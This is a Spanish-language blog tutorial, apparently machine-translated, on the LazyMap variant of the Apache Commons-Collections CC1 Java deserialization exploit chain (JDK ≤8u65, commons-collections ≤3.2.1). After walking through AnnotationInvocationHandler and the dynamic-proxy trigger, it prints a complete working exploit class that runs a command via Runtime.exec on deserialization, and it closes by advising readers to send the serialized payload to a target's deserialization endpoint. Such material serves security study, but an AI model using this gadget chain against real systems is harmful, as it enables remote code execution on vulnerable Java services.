Este artículo se basa en la cadena de exploits CC1 y la esencia es la misma: no es más que usar el método get de la clase LazyMap para activar la cadena de exploits. Antes de leer este artículo, debes comprender el principio del primero. Cadena CC1. Comprender la primera cadena, esta cadena equivale a comprender el 90%. Si no comprende la primera cadena de CC1, puede leer mi artículo primero:
https://blog.csdn.net/weixin_46367450/article/details/132274219
Directorio de artículos
Alcance de la vulnerabilidad
JDk<=jdk8u65
colecciones-comunes <= 3.2.1
Preparación ambiental
El entorno de este tutorial: jdk1.7.0_75, commons-collections versión 3.2.1, maven (sin requisitos de versión), herramienta de desarrollo IDEA (sin requisitos de versión)
Debido a que las clases bajo el paquete Sun son necesarias en la cadena CC1
AnnotationInvocationHandler
, pero el código fuente bajo el paquete Sun de la versión jdk7 descargada del sitio web oficial es un archivo de clase, y el paquete de código fuente debe estar preparado. Paquete de código fuente con anticipación y colóquelo en jdk1.7.0_75. Puede descargarlo desde aquí y usarlo directamente de acuerdo con la configuración que se muestra en la siguiente figura:Enlace: https://pan.baidu.com/s/1wQjonrox8m6YroB8G24UYA?pwd=2mnm
Abra la estructura del proyecto para ingresar a la siguiente interfaz
Análisis de código fuente
Revisión de la situación anterior
En mi último artículo, el análisis del código fuente escrito por CC1 usando la cadena EXP , lo llevé a encontrar la clase principal InvokerTransformer de CC1 usando la cadena aquí, que implementa
Interfaz Transformer, el transformador () del objeto InvokerTransformer puede implementar llamadas de reflexión a cualquier método de cualquier objeto, por lo que necesitamos averiguar quién llamó al método transformador. En el artículo anterior, descubrimos que hay un método en la clase TransformedMap. que llama a transform (), este artículo utilizará LazyMap, como se muestra en la figura:
buscar obtener()
El método transformador() se llama en el método get() de LazyMap:
Entonces podemos continuar buscando para ver quién llamó al método get():
Después de buscar, descubrí que hay demasiados lugares para llamar a get (), así que verifiqué la información en Internet y descubrí que todavía existe en la clase AnnotationInvocationHandler:
En esta clase AnnotationInvocationHandler, encontramos que hay un método invoke(), que simplemente llama al método get(). Al ver el método invoke(), podemos pensar en un proxy dinámico. El método invoke() en el proxy dinámico es fácil de conducirá a la explotación de vulnerabilidades. Sí, porque no importa a qué método llame un objeto proxy, llamará al método invoke() de InvocationHandlerd de forma predeterminada. Dado que existe una llamada predeterminada, es fácil conducir a la explotación de vulnerabilidades, que es similar a la llamada predeterminada al método readObject() en la deserialización.
Entonces necesitamos encontrar una manera de llamar al método. Analicemos el método invoke() nuevamente. Si queremos llegar al método get(), todavía hay condiciones. La condición es que el método a llamar no tenga parámetros.
En el método readObject (), se llama al método get () sin parámetros y memberValues es controlable, por lo que si el objeto es de tipo Mapa y el tipo de Mapa se entrega a un agente dinámico, cuando el llamadas de agente dinámico get Después del método (), llamará directamente al método de invocación del objeto InvocationHandler. Como se muestra en la imagen:
Por lo tanto, cuando finalmente se realiza la deserialización, el método get () se puede activar. Lo siguiente que debemos hacer es construir un proxy dinámico y usar AnnotationInvocationHandler como procesador InvocationHandler:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//传入构造好的lazyMap
InvocationHandler h = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
//构造动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{
Map.class}, h);
//将mapProxy传给构造方法进行实例化
Object o = constructor.newInstance(Retention.class, mapProxy);
Luego use el proxy dinámico construido como parámetro para usar la reflexión para crear una instancia usando el constructor de AnnotationInvocationHandler y luego serialice el resultado devuelto.
Resumen de ideas de la cadena LazyMap
Esta cadena es en realidad la misma que la cadena CC1 de mi artículo anterior. La principal característica especial es que utiliza el método de invocación del objeto InvocationHandler en el proxy dinámico para llamar al método get () que podemos usar . Por lo tanto, cuando encontramos que el método invoke() en el objeto InvocationHandler tiene métodos que podemos usar, como el método get() mencionado anteriormente, podemos crear un proxy dinámico y usar este InvocationHandler como controlador para el proxy dinámico. Cuando el proxy ejecuta el método del objeto que se va a representar, llamará automáticamente al método invoke (), entonces, ¿qué tipo de objeto es el proxy que será proxy por el proxy dinámico, porque readObject () lo tiene y memberValues? es controlable, porque el método EntrySet ()
memberValues.entrySet()
es un método de la interfaz Map, por lo que si el objeto memberValues es del tipo Map, se puede llamar, y si el objeto memberValues es un objeto proxy dinámico, entonces Se puede llamar al método de invocación.Por lo tanto, primero necesitamos construir un objeto InvocationHandler. Sin embargo, el objeto AnnotationInvocationHandler simplemente implementa InvocationHandler, por lo que se puede crear una instancia de AnnotationInvocationHandler a través de la reflexión. Al crear una instancia, el segundo parámetro se pasa a LazyMap y luego se coloca en el modo dinámico. proxy, y la interfaz que será proxy del proxy dinámico está configurada en Mapa, como se muestra en el siguiente código:
//传入构造好的lazyMap InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap); //构造动态代理 Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{ Map.class}, invocationHandler);
Pase el objeto proxy dinámico creado al objeto AnnotationInvocationHandler. Cuando el objeto AnnotationInvocationHandler se deserializa, llamará al método EntrySet () del objeto proxy dinámico y luego llamará al método invoker () del objeto InvocationHandler en el proxy dinámico, por lo que ese uso completo
escritura EXP
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-14 17:33
**/
public class CC1LazyMapEXP2{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value","value");
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//传入构造好的lazyMap
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
//构造动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{
Map.class}, invocationHandler);
//将mapProxy传给构造方法进行实例化
Object o = constructor.newInstance(Retention.class, mapProxy);
ByteArrayOutputStream barr = serialize(o);
UnSerialize(barr);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = oos.readObject();
System.out.println(o);
}
}
Uso práctico de las ideas.
Encuentre el punto de función que necesita deserializarse, envíe nuestra carga útil serializada al punto de función para su deserialización y luego forme una cadena de explotación CC1 para completar la ejecución del código malicioso.